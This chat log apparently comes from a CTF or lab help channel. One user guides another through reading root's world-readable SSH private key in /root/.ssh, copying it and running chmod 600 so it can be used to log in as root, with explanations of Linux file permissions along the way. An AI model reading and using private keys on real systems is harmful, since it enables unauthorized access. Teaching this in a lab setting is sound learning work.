let's take this one step at a time ok?

[rustic sage]

yep

[fathom pendant]

what folder/directory would house root's files

[rustic sage]

root being root user?

[fathom pendant]

yes

[rustic sage]

do you not need to be on the root user to access them?

[fathom pendant]

well maybe you can at least look

[rustic sage]

cd /

[fathom pendant]

again we're ignoring for a moment that you're not root

[fathom pendant]

that's filesystem root, not root user

(the hint is the name)

[rustic sage]

oooh

im there

[fathom pendant]

ok

now ls -la that directory

[rustic sage]

there is .ssh

[fathom pendant]

yes now cd there

[rustic sage]

yup

[fathom pendant]

now, this next part requires understanding file permissions

[rustic sage]

okay

[fathom pendant]

linux assigns permissions to 3 sets
---|---|---

broken up as owner|group|others

[rustic sage]

okay

[fathom pendant]

since all these files belong to root owner/group; there's one that has read permissions for all others

[rustic sage]

okay

user2 is next to .ssh

so I assume it can read that

[fathom pendant]

cd to .ssh

yes

that's a directory

[rustic sage]

ok im there

[fathom pendant]

ok

now do ls -la

and keep in mind the basics

r- read
w-write
x-execute

and to copy/paste in terminal, you need to do ctrl+shift+c

and ctrl+shift+v to paste

[rustic sage]

so do I need authrosied keys

[fathom pendant]

nope

[rustic sage]

id_rsa.pub

[fathom pendant]

that's the public key

you need the private

[rustic sage]

and i use vim to access it

[fathom pendant]

you can use vim or cat it

you can't edit it

[rustic sage]

what does chmod do

[fathom pendant]

change mode

it changes the file permissions

most people use the octal system
r = 4
w = 2
x = 1

[rustic sage]

chmod 600

do I actuall need to use it

[fathom pendant]

so a r--|r--|r-- would be 444

[fathom pendant]

well you need to copy the private key to your system to use it

and by default the file will be too open, so yes

[rustic sage]

dont I already have ability to read it

No

[fathom pendant]

but you can't use it

ssh does not like id_rsa files that have permissions that are too open

[rustic sage]

why does it have to be r-r-r

[fathom pendant]

aka anyone but the owner can read

[fathom pendant]

it doesn't have to be; i was giving in example

in reality 400 or 600 will work

[marble socket]

👋

[fathom pendant]

as that's read only for owner, write only for owner

and 0 permission for group and others

meaning ONLY the owner can view the file